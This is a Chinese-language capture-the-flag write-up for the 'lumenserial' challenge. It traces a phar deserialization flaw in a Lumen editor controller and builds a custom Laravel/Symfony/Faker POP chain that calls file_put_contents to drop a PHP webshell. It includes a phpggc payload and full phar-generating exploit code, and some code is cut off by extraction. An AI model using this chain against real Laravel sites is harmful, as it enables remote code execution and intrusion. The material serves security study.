- 首发于https://blog.lou00.top/index.php/archives/9/
题目环境
https://github.com/phith0n/code-breaking/tree/master/2018/lumenserial
源码阅读
laravel框架
先看routes/web.php
get('/', function (Request $request) use ($router) {
return view('index');
});
$router->get('/server/editor', 'EditorController@main');
$router->post('/server/editor', 'EditorController@main');
所有动作都会通过main
函数执行
再看App\Http\Controllers\EditorController::main
public function main(Request $request)
{
$action = $request->query('action');
try {
if (is_string($action) && method_exists($this, "do{$action}")) {
return call_user_func([$this, "do{$action}"], $request);
} else {
throw new FileException('Method error');
}
} catch (FileException $e) {
return response()->json(['state' => $e->getMessage()]);
}
}
凡是开头有do
的函数都能调用
这样的函数有
protected function doUploadImage(Request $request)
{
//....
}
protected function doCatchimage(Request $request)
{
$sources = $request->input($this->config['catcherFieldName']);
$rets = [];
if ($sources) {
foreach ($sources as $url) {
$rets[] = $this->download($url);
}
}
//..
}
private function download($url)
{
$maxSize = $this->config['catcherMaxSize'];
$limitExtension = array_map(function ($ext) {
return ltrim($ext, '.');
}, $this->config['catcherAllowFiles']);
$allowTypes = array_map(function ($ext) {
return "image/{$ext}";
}, $limitExtension);
$content = file_get_contents($url);
$img = getimagesizefromstring($content);
//..
}
protected function doUploadImage(Request $request)
{
//..
}
protected function doListImage(Request $request)
{
//..
}
protected function doConfig(Request $request)
{
//..
}
可以看到$content = file_get_contents($url);
可以上传个phar触发反序列化
http://website/server/editor/?action=Catchimage&source[]=phar://xxx.gif
pop链寻找
先利用phpggc执行
题目将可以命令执行的函数都过滤了
disable_functions:
system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,apache_setenv,mb_send_mail,dl,set_time_limit,ignore_user_abort,symlink,link,error_log
disable_classes:
GlobIterator,DirectoryIterator,FilesystemIterator,RecursiveDirectoryIterator
先利用phpggc
看phpinfo()
ubuntu@VM-0-12-ubuntu:~/phpggc$ ./phpggc Laravel/RCE1 phpinfo 1 | base64
Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIA
KgBldmVudHMiO086MTU6IkZha2VyXEdlbmVyYXRvciI6MTp7czoxMzoiACoAZm9ybWF0dGVycyI7
YToxOntzOjg6ImRpc3BhdGNoIjtzOjc6InBocGluZm8iO319czo4OiIAKgBldmVudCI7czoxOiIx
Ijt9Cg==
利用脚本生成phar(不知道为啥利用phpggc生成的phar无法反序列化)
startBuffering();
$phar->setStub("GIF89asetMetadata($b);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();
?>
上传后访问即可得到
上面的disable的函数也是从这里得到的
之后要想办法利用
file_put_contents
写文件
phpggc提供的pop链都是单参数的,无法满足要求,需要找到一个双参数的pop链
\Illuminate\Broadcasting\PendingBroadcast::__destruct()
public function __destruct()
{
$this->events->dispatch($this->event);
}
\Symfony\Component\EventDispatcher\Debug\TraceableEventDispatcher
public function dispatch($eventName, Event $event = null)
{
if (null === $event) {
$event = new Event();
}
if (null !== $this->logger && $event->isPropagationStopped()) {
$this->logger->debug(sprintf('The "%s" event is already stopped. No listeners have been called.', $eventName));
}
$this->preProcess($eventName);
//...
}
private function preProcess($eventName)
{
if (!$this->dispatcher->hasListeners($eventName)) {
$this->orphanedEvents[] = $eventName;
return;
}
foreach ($this->dispatcher->getListeners($eventName) as $listener) {
$priority = $this->getListenerPriority($eventName, $listener);
$wrappedListener = new WrappedListener($listener, null, $this->stopwatch, $this);
$this->wrappedListeners[$eventName][] = $wrappedListener;
$this->dispatcher->removeListener($eventName, $listener);
$this->dispatcher->addListener($eventName, $wrappedListener, $priority);
}
}
\Faker\Generator
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}
Illuminate\Events\Dispatcher::getListeners
public function getListeners($eventName)
{
$listeners = $this->listeners[$eventName] ?? [];
$listeners = array_merge(
$listeners,
$this->wildcardsCache[$eventName] ?? $this->getWildcardListeners($eventName)
);
return class_exists($eventName, false)
? $this->addInterfaceListeners($eventName, $listeners)
: $listeners;
}
payload
events = $events;
$this->event = $event;
}
}
}
namespace Symfony\Component\EventDispatcher\Debug
{
interface TraceableEventDispatcherInterface{}
class TraceableEventDispatcher implements TraceableEventDispatcherInterface
{
private $dispatcher;
public function __construct($dispatcher){
$this->dispatcher = $dispatcher;
}
}
}
namespace Illuminate\Contracts\Events
{
interface Dispatcher{}
}
namespace Illuminate\Events
{
use Illuminate\Contracts\Events\Dispatcher as DispatcherContract;
class Dispatcher implements DispatcherContract{
protected $listeners = [];
protected $wildcardsCache = [];
public function __construct($listeners,$wildcardsCache){
$this->listeners["/root/Downloads/lumenserial/html/1.php"] = $listeners;
$this->wildcardsCache["/root/Downloads/lumenserial/html/1.php"] = $wildcardsCache;
}
}
}
namespace Faker
{
class Generator
{
protected $formatters;
protected $providers;
public function __construct($formatters , $providers)
{
$this->formatters = $formatters;
$this->providers = $providers;
}
}
}
namespace {
$a_ = new \Illuminate\Events\Dispatcher(array(' "is_string","removeListener" => "file_put_contents","getListenerPriority"=>"file_put_contents"],[$a_]);
$b = new \Symfony\Component\EventDispatcher\Debug\TraceableEventDispatcher($a);
$c = new \Illuminate\Broadcasting\PendingBroadcast($b , "/root/Downloads/lumenserial/html/1.php");
$filename = "poc.phar";
file_exists($filename) ? unlink($filename) : null;
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89asetMetadata($c);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();
}
?>
上传访问后在访问/upload/1.php
成功
参考
https://www.anquanke.com/post/id/170681
https://www.anquanke.com/post/id/170714
http://m4p1e.com/web/20181224.html